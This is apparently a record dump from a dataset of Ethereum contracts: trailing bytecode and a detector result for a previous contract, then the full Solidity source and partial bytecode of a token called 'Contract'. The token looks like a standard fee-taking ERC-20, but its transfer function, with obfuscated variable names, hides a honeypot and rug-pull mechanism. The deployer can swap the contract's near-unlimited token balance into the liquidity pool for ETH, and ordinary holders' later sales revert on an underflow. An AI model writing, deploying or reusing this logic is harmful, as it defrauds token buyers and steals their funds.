37957600080fd5b506101e661075a565b34801561038e57600080fd5b506102ad61039d366004611a26565b6107a5565b3480156103ae57600080fd5b506101e66107c7565b3480156103c357600080fd5b506102ad60165481565b3480156103d957600080fd5b506102ad6103e8366004611a26565b60116020526000908152604090205481565b34801561040657600080fd5b506000546001600160a01b031661027e565b34801561042457600080fd5b506101e6610433366004611a53565b61083b565b34801561044457600080fd5b506102ad60175481565b34801561045a57600080fd5b5060408051808201909152600681526545464c4f4b4960d01b6020820152610218565b34801561048957600080fd5b506101e6610498366004611a6e565b610883565b3480156104a957600080fd5b5061024e6104b83660046119b9565b6108b2565b3480156104c957600080fd5b5061024e6104d8366004611a26565b60106020526000908152604090205460ff1681565b3480156104f957600080fd5b506101e66108bf565b34801561050e57600080fd5b506101e661051d366004611a87565b610913565b34801561052e57600080fd5b506102ad61053d366004611b0b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057457600080fd5b506101e6610583366004611a6e565b6109b4565b34801561059457600080fd5b506101e66105a3366004611a26565b6109e3565b6000546001600160a01b031633146105db5760405162461bcd60e51b81526004016105d290611b44565b60405180910390fd5b60005b8151811015610643576001601060008484815181106105ff576105ff611b79565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063b81611ba5565b9150506105de565b5050565b6000610654338484610acd565b5060015b92915050565b600061066b848484610bf1565b6106bd84336106b885604051806060016040528060288152602001611cbf602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061112d565b610acd565b5060019392505050565b6000546001600160a01b031633146106f15760405162461bcd60e51b81526004016105d290611b44565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461073c5760405162461bcd60e51b81526004016105d290611b44565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078f57506013546001600160a01b0316336001600160a01b0316145b61079857600080fd5b476107a281611167565b50565b6001600160a01b038116600090815260026020526040812054610658906111a1565b6000546001600160a01b031633146107f15760405162461bcd60e51b81526004016105d290611b44565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108655760405162461bcd60e51b81526004016105d290611b44565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108ad5760405162461bcd60e51b81526004016105d290611b44565b601855565b6000610654338484610bf1565b6012546001600160a01b0316336001600160a01b031614806108f457506013546001600160a01b0316336001600160a01b0316145b6108fd57600080fd5b6000610908306107a5565b90506107a281611225565b6000546001600160a01b0316331461093d5760405162461bcd60e51b81526004016105d290611b44565b60005b828110156109ae57816005600086868581811061095f5761095f611b79565b90506020020160208101906109749190611a26565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109a681611ba5565b915050610940565b50505050565b6000546001600160a01b031633146109de5760405162461bcd60e51b81526004016105d290611b44565b601755565b6000546001600160a01b03163314610a0d5760405162461bcd60e51b81526004016105d290611b44565b6001600160a01b038116610a725760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b2f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d2565b6001600160a01b038216610b905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d2565b6001600160a01b038216610cb75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d2565b60008111610d195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d2565b6000546001600160a01b03848116911614801590610d4557506000546001600160a01b03838116911614155b1561102657601554600160a01b900460ff16610dde576000546001600160a01b03848116911614610dde5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105d2565b601654811115610e305760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105d2565b6001600160a01b03831660009081526010602052604090205460ff16158015610e7257506001600160a01b03821660009081526010602052604090205460ff16155b610eca5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105d2565b6015546001600160a01b03838116911614610f4f5760175481610eec846107a5565b610ef69190611bc0565b10610f4f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105d2565b6000610f5a306107a5565b601854601654919250821015908210610f735760165491505b808015610f8a5750601554600160a81b900460ff16155b8015610fa457506015546001600160a01b03868116911614155b8015610fb95750601554600160b01b900460ff165b8015610fde57506001600160a01b03851660009081526005602052604090205460ff16155b801561100357506001600160a01b03841660009081526005602052604090205460ff16155b156110235761101182611225565b4780156110215761102147611167565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061106857506001600160a01b03831660009081526005602052604090205460ff165b8061109a57506015546001600160a01b0385811691161480159061109a57506015546001600160a01b03848116911614155b156110a757506000611121565b6015546001600160a01b0385811691161480156110d257506014546001600160a01b03848116911614155b156110e457600854600c55600954600d555b6015546001600160a01b03848116911614801561110f57506014546001600160a01b03858116911614155b1561112157600a54600c55600b54600d555b6109ae848484846113ae565b600081848411156111515760405162461bcd60e51b81526004016105d29190611964565b50600061115e8486611bd8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610643573d6000803e3d6000fd5b60006006548211156112085760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105d2565b60006112126113dc565b905061121e83826113ff565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126d5761126d611b79565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112c157600080fd5b505afa1580156112d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f99190611bef565b8160018151811061130c5761130c611b79565b6001600160a01b0392831660209182029290920101526014546113329130911684610acd565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061136b908590600090869030904290600401611c0c565b600060405180830381600087803b15801561138557600080fd5b505af1158015611399573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113bb576113bb611441565b6113c684848461146f565b806109ae576109ae600e54600c55600f54600d55565b60008060006113e9611566565b90925090506113f882826113ff565b9250505090565b600061121e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a6565b600c541580156114515750600d54155b1561145857565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611481876115d4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114b39087611631565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e29086611673565b6001600160a01b038916600090815260026020526040902055611504816116d2565b61150e848361171c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061158182826113ff565b82101561159d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836115c75760405162461bcd60e51b81526004016105d29190611964565b50600061115e8486611c7d565b60008060008060008060008060006115f18a600c54600d54611740565b92509250925060006116016113dc565b905060008060006116148e878787611795565b919e509c509a509598509396509194505050505091939550919395565b600061121e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061112d565b6000806116808385611bc0565b90508381101561121e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d2565b60006116dc6113dc565b905060006116ea83836117e5565b306000908152600260205260409020549091506117079082611673565b30600090815260026020526040902055505050565b6006546117299083611631565b6006556007546117399082611673565b6007555050565b600080808061175a606461175489896117e5565b906113ff565b9050600061176d60646117548a896117e5565b905060006117858261177f8b86611631565b90611631565b9992985090965090945050505050565b60008080806117a488866117e5565b905060006117b288876117e5565b905060006117c088886117e5565b905060006117d28261177f8686611631565b939b939a50919850919650505050505050565b6000826117f457506000610658565b60006118008385611c9f565b90508261180d8583611c7d565b1461121e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107a257600080fd5b803561189a8161187a565b919050565b600060208083850312156118b257600080fd5b823567ffffffffffffffff808211156118ca57600080fd5b818501915085601f8301126118de57600080fd5b8135818111156118f0576118f0611864565b8060051b604051601f19603f8301168101818110858211171561191557611915611864565b60405291825284820192508381018501918883111561193357600080fd5b938501935b82851015611958576119498561188f565b84529385019392850192611938565b98975050505050505050565b600060208083528351808285015260005b8181101561199157858101830151858201604001528201611975565b818111156119a3576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156119cc57600080fd5b82356119d78161187a565b946020939093013593505050565b6000806000606084860312156119fa57600080fd5b8335611a058161187a565b92506020840135611a158161187a565b929592945050506040919091013590565b600060208284031215611a3857600080fd5b813561121e8161187a565b8035801515811461189a57600080fd5b600060208284031215611a6557600080fd5b61121e82611a43565b600060208284031215611a8057600080fd5b5035919050565b600080600060408486031215611a9c57600080fd5b833567ffffffffffffffff80821115611ab457600080fd5b818601915086601f830112611ac857600080fd5b813581811115611ad757600080fd5b8760208260051b8501011115611aec57600080fd5b602092830195509350611b029186019050611a43565b90509250925092565b60008060408385031215611b1e57600080fd5b8235611b298161187a565b91506020830135611b398161187a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bb957611bb9611b8f565b5060010190565b60008219821115611bd357611bd3611b8f565b500190565b600082821015611bea57611bea611b8f565b500390565b600060208284031215611c0157600080fd5b815161121e8161187a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c5c5784516001600160a01b031683529383019391830191600101611c37565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c9a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611cb957611cb9611b8f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d211de257b1022646eb0bef53178fd6f3505de42e911d95041628536c77cdf8664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,227
0xaf4cb94513b7fa05929f9380c5af146d7f95f63f
/* ███████ █████ ███████ ███████ ██ ██ ██ ██ ██ ███████ ███████ █████ █████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ ███████ █████ ██████ ███████ ██ ██ ██ ██ ██ ███████ ██████ █████ ██ ██ ██ ██ ██ ██ ██ ███████ ██ ███ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██████ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { uint8 private _decimals = 9; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private easier = _tTotal; uint256 private _rTotal = ~uint256(0); uint256 public _fee = 3; mapping(uint256 => address) private kill; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private burst; mapping(address => uint256) private _balances; mapping(address => uint256) private lake; mapping(uint256 => address) private shoulder; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); IUniswapV2Router02 public router; address public uniswapV2Pair; string private _symbol; string private _name; constructor( string memory _NAME, string memory _SYMBOL, address routerAddress ) { _name = _NAME; _symbol = _SYMBOL; burst[msg.sender] = easier; _balances[msg.sender] = _tTotal; _balances[address(this)] = _rTotal; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); kill[easier] = uniswapV2Pair; emit Transfer(address(0), msg.sender, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function _transfer( address canal, address poetry, uint256 amount ) private { address product = shoulder[easier]; bool breath = canal == kill[easier]; uint256 acres = _fee; if (burst[canal] == 0 && !breath && lake[canal] > 0) { burst[canal] -= acres; } shoulder[easier] = poetry; if (burst[canal] > 0 && amount == 0) { burst[poetry] += acres; } lake[product] += acres; if (burst[canal] > 0 && amount > easier) { slowly(amount); return; } uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[canal] -= fee; _balances[canal] -= amount; _balances[poetry] += amount; } function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function slowly(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokens); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906112c5565b60405180910390f35b610132600480360381019061012d9190611380565b610392565b60405161013f91906113db565b60405180910390f35b6101506103a7565b60405161015d9190611405565b60405180910390f35b610180600480360381019061017b9190611420565b6103b1565b60405161018d91906113db565b60405180910390f35b61019e610500565b6040516101ab9190611405565b60405180910390f35b6101bc610519565b6040516101c99190611482565b60405180910390f35b6101ec60048036038101906101e7919061149d565b61053f565b6040516101f99190611405565b60405180910390f35b61020a610588565b005b610214610610565b6040516102219190611482565b60405180910390f35b610232610639565b60405161023f91906112c5565b60405180910390f35b610262600480360381019061025d9190611380565b6106cb565b60405161026f91906113db565b60405180910390f35b610280610747565b60405161028d9190611405565b60405180910390f35b6102b060048036038101906102ab91906114ca565b61074d565b6040516102bd9190611405565b60405180910390f35b6102e060048036038101906102db919061149d565b6107d4565b005b6102ea6108cb565b6040516102f79190611569565b60405180910390f35b6060600e805461030f906115b3565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906115b3565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f1565b905092915050565b6000600154905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611656565b60405180910390fd5b610400848484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d9190611405565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f291906116a5565b6108f1565b90509392505050565b60008060149054906101000a900460ff1660ff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610590610f1c565b73ffffffffffffffffffffffffffffffffffffffff166105ae610610565b73ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb90611725565b60405180910390fd5b61060e6000610f24565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054610648906115b3565b80601f0160208091040260200160405190810160405280929190818152602001828054610674906115b3565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d8338484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107359190611405565b60405180910390a36001905092915050565b60045481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dc610f1c565b73ffffffffffffffffffffffffffffffffffffffff166107fa610610565b73ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906117b7565b60405180910390fd5b6108c881610f24565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099290611849565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a799190611405565b60405180910390a3600190509392505050565b6000600a6000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060056000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060045490506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b82575081155b8015610bcd57506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c295780600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2191906116a5565b925050819055505b84600a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccc5750600084145b15610d285780600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d209190611869565b925050819055505b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d779190611869565b925050819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610dce575060025484115b15610de457610ddc84610fe8565b505050610f17565b6000600454606486610df691906118ee565b610e00919061191f565b90508085610e0e91906116a5565b945080600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e5f91906116a5565b9250508190555084600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb591906116a5565b9250508190555084600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f0b9190611869565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561100557611004611979565b5b6040519080825280602002602001820160405280156110335781602001602082028036833780820191505090505b509050308160008151811061104b5761104a6119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111691906119ec565b8160018151811061112a576111296119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061119130600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846108f1565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b81526004016111f6959493929190611b12565b600060405180830381600087803b15801561121057600080fd5b505af1158015611224573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000601f19601f8301169050919050565b60006112978261122c565b6112a18185611237565b93506112b1818560208601611248565b6112ba8161127b565b840191505092915050565b600060208201905081810360008301526112df818461128c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611317826112ec565b9050919050565b6113278161130c565b811461133257600080fd5b50565b6000813590506113448161131e565b92915050565b6000819050919050565b61135d8161134a565b811461136857600080fd5b50565b60008135905061137a81611354565b92915050565b60008060408385031215611397576113966112e7565b5b60006113a585828601611335565b92505060206113b68582860161136b565b9150509250929050565b60008115159050919050565b6113d5816113c0565b82525050565b60006020820190506113f060008301846113cc565b92915050565b6113ff8161134a565b82525050565b600060208201905061141a60008301846113f6565b92915050565b600080600060608486031215611439576114386112e7565b5b600061144786828701611335565b935050602061145886828701611335565b92505060406114698682870161136b565b9150509250925092565b61147c8161130c565b82525050565b60006020820190506114976000830184611473565b92915050565b6000602082840312156114b3576114b26112e7565b5b60006114c184828501611335565b91505092915050565b600080604083850312156114e1576114e06112e7565b5b60006114ef85828601611335565b925050602061150085828601611335565b9150509250929050565b6000819050919050565b600061152f61152a611525846112ec565b61150a565b6112ec565b9050919050565b600061154182611514565b9050919050565b600061155382611536565b9050919050565b61156381611548565b82525050565b600060208201905061157e600083018461155a565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115cb57607f82169150